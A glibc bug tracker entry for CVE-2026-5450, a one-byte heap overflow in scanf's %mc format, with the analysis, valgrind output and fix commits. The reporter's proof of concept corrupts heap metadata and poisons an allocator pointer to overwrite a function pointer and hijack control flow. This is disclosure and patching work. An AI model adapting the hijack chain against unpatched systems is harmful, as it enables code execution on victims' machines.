Bug 34008 (CVE-2026-5450) - stdio-common: scanf %mc pattern will cause heap overflow when width > 1024
Summary: stdio-common: scanf %mc pattern will cause heap overflow when width > 1024
Status: RESOLVED FIXED
Alias: CVE-2026-5450
Product: glibc
Classification: Unclassified
Component: stdio (show other bugs)
Version: unspecified
: P1 normal
Target Milestone: 2.44
Assignee: Not yet assigned to anyone
URL:
Keywords:
Depends on:
Blocks:
 
Reported: 2026-03-19 17:36 UTC by Rocket Ma
Modified: 2026-06-23 04:38 UTC (History)
3 users (show)

See Also:
Host:
Target:
Build:
Last reconfirmed: 2026-04-02 00:00:00
Project(s) to access:
ssh public key:
carlos: security+


Attachments

Note You need to log in before you can comment on or make changes to this bug.
Description Rocket Ma 2026-03-19 17:36:01 UTC
In vfscanf-internal.c, when reading input via %WIDTHmc or %WIDTHmC, it reallocs one byte less than WIDTH, which leads to off-by-one overflow, may allowing attacker to trigger RCE. Down below I attached a poc to demonstrate the chain from a scanf format to pointer hijack.

This bug originate from glibc 2.6, commit 874aa52349c. It seems that the coder thought one byte in stream has been consumed, so only `width - 1` bytes should be expanded, however, actually the byte is written after the string expands, so allocates one byte less. There are 3 code points in stdio-common, one is at line 859.

Take an example from poc, for a pattern like `%1033mc`, `&buf` should be written a string pointer, the `*strptr`. `strsize` is the current size of allocated string buffer, `str` is the current cursor where next char from input should be written, `width` is the remaining count of bytes to read. To clarify the bug, we could assume WIDTH is 1025, so `newsize == 1024 + (1 - 1)`, no expansion; but at line 894, the byte is written into `str` (`str == *strptr + strsize`), leading into one byte overflow, controlled by user.

This could be a vulnerability when coder use glibc and the WIDTH equals to 0x..8 (but must be greater than 0x400 to cause `*strptr` to expand), so the next chunk size could be written; or even worse, in the %mC path, user could take control of next 4 bytes. The poc down below indicate this case.

I'll soon send a patch to fix this problem, and please reply if a regression test is needed.

---

#include <assert.h>
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

static void normal_func(void) {
    puts("We are safe :)");
}

static void malicious_func(void) {
    puts("Got hijacked!!");
}

#define width 0x409
int main(void) {
    __attribute__((aligned(16))) void (*func_ptr)(void) = normal_func;

    char *buf = NULL;
    char *input = malloc(width + 1);
    if (input == NULL)
        return 1;
    memset(input, 0x61, width);
    input[width] = '\0';

    // layout heap...
    size_t *chunk1 = malloc(0x408);
    size_t *chunk2 = malloc(0x28);
    size_t *chunk3 = malloc(0x28);
    size_t *chunk4 = malloc(0x28);
    free(chunk1);
    free(chunk4);

    // before off-by-one: [chunk2   ][chunk3   ]
    int rc = sscanf(input, "%1033mc", &buf);
    assert(rc != -1);

    // release [chunk2   [chunk3   ]]
    free(chunk2);
    free(chunk3);

    // now hijack chunk3->fd via chunk2
    chunk2 = malloc(0x58);
    chunk2[6] = (size_t)&func_ptr ^ ((size_t)chunk3 >> 12);

    // allocate chunk3 back, which is now at &func_ptr, write with another func
    size_t *chunk5 = malloc(0x28);
    chunk3 = malloc(0x28);
    *chunk3 = (size_t)malicious_func;

    func_ptr();

    free(buf);
    free(input);
    return 0;
}
Comment 1 Carlos O'Donell 2026-04-02 21:49:12 UTC
This issue was raised for the glibc security team to review for impact.

The code in question is here:

glibc/stdio-common/vfscanf-internal (__vfscanf_internal):

 849               if (!(flags & SUPPRESS))
 850                 {
 851                   do
 852                     {
 853                       if ((flags & MALLOC)
 854                           && (char *) str == *strptr + strsize)
 855                         {
 856                           /* Enlarge the buffer.  */
 857                           size_t newsize
 858                             = strsize
 859                               + (strsize >= width ? width - 1 : strsize);

This line does not explain the expansion strategy and includes a "width - 1" that is unjustified by any comments and is 1 byte smaller than needed.

 860 
 861                           str = (char *) realloc (*strptr, newsize);
 862                           if (str == NULL)
 863                             {
 864                               /* Can't allocate that much.  Last-ditch
 865                                  effort.  */
 866                               str = (char *) realloc (*strptr, strsize + 1);
 867                               if (str == NULL)
 868                                 {
 869                                   /* c can't have `a' flag, only `m'.  */
 870                                   done = EOF;
 871                                   goto errout;
 872                                 }
 873                               else
 874                                 {
 875                                   *strptr = (char *) str;
 876                                   str += strsize;
 877                                   ++strsize;
 878                                 }
 879                             }
 880                           else
 881                             {
 882                               *strptr = (char *) str;
 883                               str += strsize;
 884                               strsize = newsize;
 885                             }
 886                         }
 887                       *str++ = c;
 888                     }
 889                   while (--width > 0 && inchar () != EOF);

Minimizing the reproducer:

#include <assert.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <malloc.h>

/* A 1033 byte allocation has 1032 useable bytes.  This fits exactly the
   realloc request in __vfscanf_internal for the erroneous "width - 1"
   and so results in a 1-byte overflow writing into the next chunks size
   metadata.  */

#define width 1033

int main(void) {
    char *buf = NULL;
    char *input = malloc(width + 1);
    assert(input != NULL);
    memset(input, 0x61, width);
    input[width] = '\0';
    int rc = sscanf(input, "%1033mc", &buf);
    assert(rc != -1);
    printf ("%ld", malloc_usable_size (buf));
    free(buf);
    return 0;
}

Shows the following under valgrind:

==2155065== Invalid write of size 1
==2155065==    at 0x48B7066: __vfscanf_internal (vfscanf-internal.c:882)
==2155065==    by 0x48A8CD0: __isoc23_sscanf (isoc23_sscanf.c:31)
==2155065==    by 0x400530: main (reproducer.c:20)
==2155065==  Address 0x4a6a128 is 0 bytes after a block of size 1,032 alloc'd
==2155065==    at 0x4848897: realloc (vg_replace_malloc.c:1804)
==2155065==    by 0x48B7045: __vfscanf_internal (vfscanf-internal.c:859)
==2155065==    by 0x48A8CD0: __isoc23_sscanf (isoc23_sscanf.c:31)
==2155065==    by 0x400530: main (reproducer.c:20)

The existing 1024-byte allocation is actually 1032-bytes of malloc usable size, and so when the expansion occurs from 1024 to 1033 the requested realloc size is only 1032 and it fits perfectly, but one more byte than allocated is written and corrupts the next chunks sizes metadata.

The impact is somewhat limited by the fact that to execute the overwrite you need:

 * User controlled input data.
 * Specific choice of maximum width that yields a smaller than needed allocation

The latter point has to take into account mallocs particular chunk size rounding process.

A quick debian codesearch shows:
https://codesearch.debian.net/search?q=scanf.*%25%5Cd%2Bmc&literal=0

 * glibc testsuite (non-runtime test code)
 * gcc testsuite (non-runtime test code)
 * netsurf using %1024mc (non-runtime test code)

which indicates that use of "%[width]mc" is NOT widespread and so impact should be considered low unless real world examples are found.

Rocket Mat has posted a patch for this issue:
https://patchwork.sourceware.org/project/glibc/patch/20260319174311.972443-1-marocketbd@gmail.com/

CVE identifier CVE-2026-5450 is reserved for this issue as we prepare to publish.
Comment 2 Florian Weimer 2026-05-02 11:50:27 UTC
Note: %mc is not really usable unless bug 12701 is fixed as well, and fixing that bug has significant adverse backwards compatibility issues.
Comment 3 Sourceware Commits 2026-05-08 04:28:12 UTC
The master branch has been updated by H.J. Lu <hjl@sourceware.org>:

https://sourceware.org/git/gitweb.cgi?p=glibc.git;h=839898777226a3ed88c0859f25ffe712519b4ead

commit 839898777226a3ed88c0859f25ffe712519b4ead
Author: Rocket Ma <marocketbd@gmail.com>
Date:   Fri Apr 17 23:48:41 2026 -0700

    stdio-common: Fix buffer overflow in scanf %mc [BZ #34008]
    
    * stdio-common/vfscanf-internal.c: When enlarging allocated buffer with
    format %mc or %mC, glibc allocates one byte less, leading to
    user-controlled one byte overflow. This commit fixes BZ #34008, or
    CVE-2026-5450.
    
    Reviewed-by: Carlos O'Donell <carlos@redhat.com>
    Signed-off-by: Rocket Ma <marocketbd@gmail.com>
    Reviewed-by: H.J. Lu <hjl.tools@gmail.com>
Comment 4 Sourceware Commits 2026-05-09 09:20:07 UTC
The release/2.43/master branch has been updated by Aurelien Jarno <aurel32@sourceware.org>:

https://sourceware.org/git/gitweb.cgi?p=glibc.git;h=4070d808bea1c077eb7e7d52b52b91cae98205d5

commit 4070d808bea1c077eb7e7d52b52b91cae98205d5
Author: Rocket Ma <marocketbd@gmail.com>
Date:   Fri Apr 17 23:48:41 2026 -0700

    stdio-common: Fix buffer overflow in scanf %mc [BZ #34008]
    
    * stdio-common/vfscanf-internal.c: When enlarging allocated buffer with
    format %mc or %mC, glibc allocates one byte less, leading to
    user-controlled one byte overflow. This commit fixes BZ #34008, or
    CVE-2026-5450.
    
    Reviewed-by: Carlos O'Donell <carlos@redhat.com>
    Signed-off-by: Rocket Ma <marocketbd@gmail.com>
    Reviewed-by: H.J. Lu <hjl.tools@gmail.com>
    (cherry picked from commit 839898777226a3ed88c0859f25ffe712519b4ead)
Comment 5 Sourceware Commits 2026-05-09 09:22:00 UTC
The release/2.42/master branch has been updated by Aurelien Jarno <aurel32@sourceware.org>:

https://sourceware.org/git/gitweb.cgi?p=glibc.git;h=4ebd33dd77eabe8d4c45232bed4b42a31d2f9edc

commit 4ebd33dd77eabe8d4c45232bed4b42a31d2f9edc
Author: Rocket Ma <marocketbd@gmail.com>
Date:   Fri Apr 17 23:48:41 2026 -0700

    stdio-common: Fix buffer overflow in scanf %mc [BZ #34008]
    
    * stdio-common/vfscanf-internal.c: When enlarging allocated buffer with
    format %mc or %mC, glibc allocates one byte less, leading to
    user-controlled one byte overflow. This commit fixes BZ #34008, or
    CVE-2026-5450.
    
    Reviewed-by: Carlos O'Donell <carlos@redhat.com>
    Signed-off-by: Rocket Ma <marocketbd@gmail.com>
    Reviewed-by: H.J. Lu <hjl.tools@gmail.com>
    (cherry picked from commit 839898777226a3ed88c0859f25ffe712519b4ead)
Comment 6 Rocket Ma 2026-05-25 03:43:12 UTC
Fixed with 839898777226a3ed88c0859f25ffe712519b4ead
Comment 7 Sourceware Commits 2026-06-23 04:38:50 UTC
The release/2.41/master branch has been updated by Aurelien Jarno <aurel32@sourceware.org>:

https://sourceware.org/git/gitweb.cgi?p=glibc.git;h=1a74f82eedaf0987eda1f522121e6a48fac502e7

commit 1a74f82eedaf0987eda1f522121e6a48fac502e7
Author: Rocket Ma <marocketbd@gmail.com>
Date:   Fri Apr 17 23:48:41 2026 -0700

    stdio-common: Fix buffer overflow in scanf %mc [BZ #34008]
    
    * stdio-common/vfscanf-internal.c: When enlarging allocated buffer with
    format %mc or %mC, glibc allocates one byte less, leading to
    user-controlled one byte overflow. This commit fixes BZ #34008, or
    CVE-2026-5450.
    
    Reviewed-by: Carlos O'Donell <carlos@redhat.com>
    Signed-off-by: Rocket Ma <marocketbd@gmail.com>
    Reviewed-by: H.J. Lu <hjl.tools@gmail.com>
    (cherry picked from commit 839898777226a3ed88c0859f25ffe712519b4ead)